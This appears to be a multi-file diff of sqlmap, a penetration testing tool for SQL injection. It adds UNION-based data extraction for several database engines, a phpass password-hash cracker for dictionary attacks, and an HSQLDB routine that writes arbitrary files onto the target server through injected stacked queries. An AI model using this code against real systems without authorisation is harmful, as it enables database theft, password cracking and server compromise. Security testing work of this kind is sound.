expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
@@ -250,6 +241,22 @@ def unionUse(expression, unpack=True, dump=False):
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL) and expressionFields and not conf.binaryFields:
match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression):
kb.jsonAggMode = True
if Backend.isDbms(DBMS.MYSQL):
query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, expressionFields, kb.chars.stop), 1)
elif Backend.isDbms(DBMS.ORACLE):
query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item
query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
elif Backend.isDbms(DBMS.MSSQL):
query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
output = _oneShotUnionUse(query, False)
value = parseUnionPage(output)
kb.jsonAggMode = False
# We have to check if the SQL query might return multiple entries
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
@@ -425,7 +432,7 @@ def unionUse(expression, unpack=True, dump=False):
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration)
logger.debug(debugMsg)
return value
+2 -1
View File
@@ -61,6 +61,7 @@ from thirdparty.bottle.bottle import request
from thirdparty.bottle.bottle import response
from thirdparty.bottle.bottle import run
from thirdparty.bottle.bottle import server_names
from thirdparty import six
from thirdparty.six.moves import http_client as _http_client
from thirdparty.six.moves import input as _input
from thirdparty.six.moves import urllib as _urllib
@@ -717,7 +718,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys())))
else:
errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip install %s')" % (adapter, adapter)
errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip%s install %s')" % (adapter, '3' if six.PY3 else "", adapter)
logger.critical(errMsg)
def _client(url, options=None):
+61 -47
View File
@@ -33,6 +33,7 @@ else:
import base64
import binascii
import gc
import math
import os
import re
import tempfile
@@ -481,14 +482,20 @@ def vbulletin_passwd(password, salt, **kwargs):
return "%s:%s" % (md5(binascii.hexlify(md5(getBytes(password)).digest()) + getBytes(salt)).hexdigest(), salt)
def wordpress_passwd(password, salt, count, prefix, **kwargs):
def phpass_passwd(password, salt, count, prefix, **kwargs):
"""
Reference(s):
https://web.archive.org/web/20120219120128/packetstormsecurity.org/files/74448/phpassbrute.py.txt
http://scriptserver.mainframe8.com/wordpress_password_hasher.php
https://www.openwall.com/phpass/
https://github.com/jedie/django-phpBB3/blob/master/django_phpBB3/hashers.py
>>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp')
>>> phpass_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$')
'$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0'
>>> phpass_passwd(password='testpass', salt='Pb1j9gSb', count=2048, prefix='$H$')
'$H$9Pb1j9gSb/u3EVQ.4JDZ3LqtN44oIx/'
>>> phpass_passwd(password='testpass', salt='iwtD/g.K', count=128, prefix='$S$')
'$S$5iwtD/g.KZT2rwC9DASy/mGYAThkSd3lBFdkONi1Ig1IEpBpqG8W'
"""
def _encode64(input_, count):
@@ -523,18 +530,24 @@ def wordpress_passwd(password, salt, count, prefix, **kwargs):
return output
password = getBytes(password)
salt = getBytes(salt)
f = {"$P$": md5, "$H$": md5, "$Q$": sha1, "$S$": sha512}[prefix]
cipher = md5(salt)
cipher = f(getBytes(salt))
cipher.update(password)
hash_ = cipher.digest()
for i in xrange(count):
_ = md5(hash_)
_ = f(hash_)
_.update(password)
hash_ = _.digest()
return "%s%s" % (prefix, _encode64(hash_, 16))
retVal = "%s%s%s%s" % (prefix, ITOA64[int(math.log(count, 2))], salt, _encode64(hash_, len(hash_)))
if prefix == "$S$":
# Reference: https://api.drupal.org/api/drupal/includes%21password.inc/constant/DRUPAL_HASH_LENGTH/7.x
retVal = retVal[:55]
return retVal
__functions__ = {
HASH.MYSQL: mysql_passwd,
@@ -555,7 +568,7 @@ __functions__ = {
HASH.JOOMLA: joomla_passwd,
HASH.DJANGO_MD5: django_md5_passwd,
HASH.DJANGO_SHA1: django_sha1_passwd,
HASH.WORDPRESS: wordpress_passwd,
HASH.PHPASS: phpass_passwd,
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
HASH.APACHE_SHA1: apache_sha1_passwd,
@@ -570,6 +583,41 @@ __functions__ = {
HASH.SHA512_BASE64: sha512_generic_passwd,
}
def _finalize(retVal, results, processes, attack_info=None):
if _multiprocessing:
gc.enable()
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/4367
# NOTE: https://dzone.com/articles/python-101-creating-multiple-processes
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
if retVal:
removals = set()
if conf.hashDB:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
results.append(item)
removals.add((user, hash_))
hashDBWrite(hash_, word)
for item in attack_info or []:
if (item[0][0], item[0][1]) in removals:
attack_info.remove(item)
if conf.hashDB:
conf.hashDB.endTransaction()
if hasattr(retVal, "close"):
retVal.close()
def storeHashesToFile(attack_dict):
if not attack_dict:
return
@@ -965,7 +1013,7 @@ def dictionaryAttack(attack_dict):
try:
item = None
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
hash_ = hash_.lower()
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
@@ -994,9 +1042,9 @@ def dictionaryAttack(attack_dict):
item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
item = [(user, hash_), {"salt": hash_.split('$')[1]}]
elif hash_regex in (HASH.WORDPRESS,):
elif hash_regex in (HASH.PHPASS,):
if ITOA64.index(hash_[3]) < 32:
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}]
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}]
else:
warnMsg = "invalid hash '%s'" % hash_
logger.warn(warnMsg)
@@ -1024,7 +1072,7 @@ def dictionaryAttack(attack_dict):
while not kb.wordlists:
# the slowest of all methods hence smaller default dict
if hash_regex in (HASH.ORACLE_OLD,):
if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS):
dictPaths = [paths.SMALL_DICT]
else:
dictPaths = [paths.WORDLIST]
@@ -1134,29 +1182,8 @@ def dictionaryAttack(attack_dict):
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal:
if conf.hashDB:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
attack_info = [_ for _ in attack_info if _[0][0] != user or _[0][1] != hash_]
hashDBWrite(hash_, word)
results.append(item)
if conf.hashDB:
conf.hashDB.endTransaction()
_finalize(retVal, results, processes, attack_info)
clearConsoleLine()
@@ -1238,20 +1265,7 @@ def dictionaryAttack(attack_dict):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal and conf.hashDB:
if conf.hashDB:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
hashDBWrite(hash_, word)
results.append(item)
if conf.hashDB:
conf.hashDB.endTransaction()
_finalize(retVal, results, processes, attack_info)
clearConsoleLine()
+44 -3
View File
@@ -5,6 +5,12 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import randomStr
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import PLACE
from lib.request import inject
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.filesystem import Filesystem as GenericFilesystem
@@ -13,6 +19,41 @@ class Filesystem(GenericFilesystem):
errMsg = "on HSQLDB it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg)
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "on HSQLDB it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
@stackedmethod
def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
funcName = randomStr()
max_bytes = 1024 * 1024
debugMsg = "creating JLP procedure '%s'" % funcName
logger.debug(debugMsg)
addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, max_bytes)
addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
inject.goStacked(addFuncQuery)
fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0][2:]
fcEncodedStrLen = len(fcEncodedStr)
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "as the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
logger.warn(warnMsg)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
# Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, max_bytes)
inject.goStacked(invokeQuery)
logger.debug("cleaning up" % funcName)
delQuery = "DELETE PROCEDURE %s" % funcName
inject.goStacked(delQuery)
message = "the local file '%s' has been written on the back-end DBMS" % localFile
message += "file system ('%s')" % remoteFile
logger.info(message)
+7
View File
@@ -144,3 +144,10 @@ class Fingerprint(GenericFingerprint):
def getHostname(self):
warnMsg = "on HSQLDB it is not possible to enumerate the hostname"
logger.warn(warnMsg)
def checkDbmsOs(self, detailed=False):
if Backend.getOs():
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
logger.info(infoMsg)
else:
self.userChooseDbmsOs()
+1 -1
View File
@@ -96,7 +96,7 @@ class Filesystem(GenericFilesystem):
fcEncodedStrLen = len(fcEncodedStr)
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg = "as the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
+2
View File
@@ -11,6 +11,7 @@ from lib.core.common import Backend
from lib.core.common import checkFile
from lib.core.common import decloakToTemp
from lib.core.common import flattenValue
from lib.core.common import filterNone
from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isStackingAvailable
@@ -107,6 +108,7 @@ class Takeover(GenericTakeover):
if isListLike(output):
output = flattenValue(output)
output = filterNone(output)
if not isNoneValue(output):
output = os.linesep.join(output)
+4 -16
View File
@@ -10,7 +10,6 @@ import re
from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import Backend
from lib.core.common import extractRegexResult
from lib.core.common import filterNone
from lib.core.common import filterPairValues
from lib.core.common import flattenValue
@@ -23,7 +22,6 @@ from lib.core.common import isTechniqueAvailable
from lib.core.common import parseSqliteTableSchema
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import safeStringFormat
@@ -54,7 +52,6 @@ from lib.core.settings import REFLECTED_VALUE_MARKER
from lib.core.settings import UPPER_CASE_DBMSES
from lib.core.settings import VERTICA_DEFAULT_SCHEMA
from lib.request import inject
from lib.techniques.union.use import unionUse
from lib.utils.brute import columnExists
from lib.utils.brute import tableExists
from thirdparty import six
@@ -525,6 +522,9 @@ class Databases(object):
else:
return kb.data.cachedColumns
if conf.exclude:
tblList = [_ for _ in tblList if re.search(conf.exclude, _, re.I) is None]
tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList)
if bruteForce is None:
@@ -549,7 +549,7 @@ class Databases(object):
resumeAvailable = True
break
if resumeAvailable and not conf.freshQueries or colList:
if resumeAvailable and not conf.freshQueries:
columns = {}
for column in colList:
@@ -636,18 +636,6 @@ class Databases(object):
logger.info(infoMsg)
values = None
if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
expression = query
kb.dumpColumns = []
kb.rowXmlMode = True
for column in (extractRegexResult(r"SELECT (?P<result>.+?) FROM", query) or "").split(','):
kb.dumpColumns.append(randomStr().lower())
expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1)
values = unionUse(expression)
kb.rowXmlMode = False
kb.dumpColumns = None
if values is None:
values = inject.getValue(query, blind=False, time=False)
+2 -2
View File
@@ -159,7 +159,7 @@ class Entries(object):
continue
kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList]
colNames = colString = ", ".join(column for column in colList)
colNames = colString = ','.join(column for column in colList)
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
infoMsg = "fetching entries"
@@ -172,7 +172,7 @@ class Entries(object):
for column in colList:
_ = agent.preprocessField(tbl, column)
if _ != column:
colString = re.sub(r"\b%s\b" % re.escape(column), _, colString)
colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString)
entriesCount = 0

Some files were not shown because too many files have changed in this diff Show More